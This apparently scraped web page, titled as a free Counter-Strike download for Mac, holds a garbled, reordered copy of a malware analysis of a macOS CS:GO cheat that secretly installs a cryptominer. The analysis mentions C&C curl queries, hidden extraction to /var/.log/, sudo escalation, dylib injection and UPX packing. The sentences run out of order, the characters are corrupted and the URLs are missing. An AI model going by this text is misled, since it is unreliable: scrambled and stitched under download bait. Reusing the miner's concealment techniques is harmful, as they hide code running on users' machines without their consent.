counter strike for mac free download zip

Ĭom.dynamsoft.WebHelper is the miner downloader. &.Īt the time of this writing, URL response is a File Not Found 404 error code, but URL is live and send the expected archive.

It downloads as /b.zip, extracts its contents to /var/.log/, changes directory to /var/.log/ and runs sudo.

It first asks the C&C server for the name of the binary to execute upon download: $ curl -F command=newfile It then kills Terminal application to hide the detached process output. It could be a perfect deal for a CS: GO user, but it turns out vHook also sneaky downloads and extracts as fonts.zip to /var/, changes directory to /var and runs sudo. If Counter-Strike: Global Offensive is running, it downloads and extracts some fonts ( as vlone.zip to /Library/Fonts/), and injects vhook.dylib into csgo_os圆4 process. It loads bootstrap.dylib from osxinj project. It is packed with UPX, probably to avoid user analysis and bypass some security products. The main binary hides itself as Dynamic Web TWAIN, an online document scanning platform. Network connections use libcurl and secure HTTPS protocol.Īll executables, but the miner CLI, require super-user privileges, so the user must run the installer with sudo: $. We don’t know if the private installer of the hack also installs the mining software without user consent. $ curl -s -G -d user=1234 -d free | shasum -a 256Īccording to the user GET query value, members count in August 2017, 22nd, is nearly two thousand. Members download the same archive of the free installer than guests: $ curl -s | shasum -a 256ī1bdb4502f5051309582f72a62c14d9919d3c86de3dcfa0b3a5f008cb5a018fe. When logged in, members can browse the Prices page and purchase a premium subscription for 1, 3 or 6 months through Selly: HTTPS certificate was delivered by COMODO PositiveSSL in June 2017, 27th. The domain name was registered through eNom in April 2017, 14th, and resolves to a shared web host at namecheap: $ dig +short The entry point is portal, where a user can Register, Login and Download for free the hack installer. Warning: At the time of this writing, all URLs are live. We recently found Counter-Strike: Global Offensive (CS: Go) hacks on macOS that is also a trojan that could mine CryptoCurrencies without user consent.Īccording to VirusTotal Retrohunt, the threat is in the wild since the beginning of July 2017. (Photo source: Pony Strike: Global Offense by FilipinoNinja95)

Counter strike for mac free download zip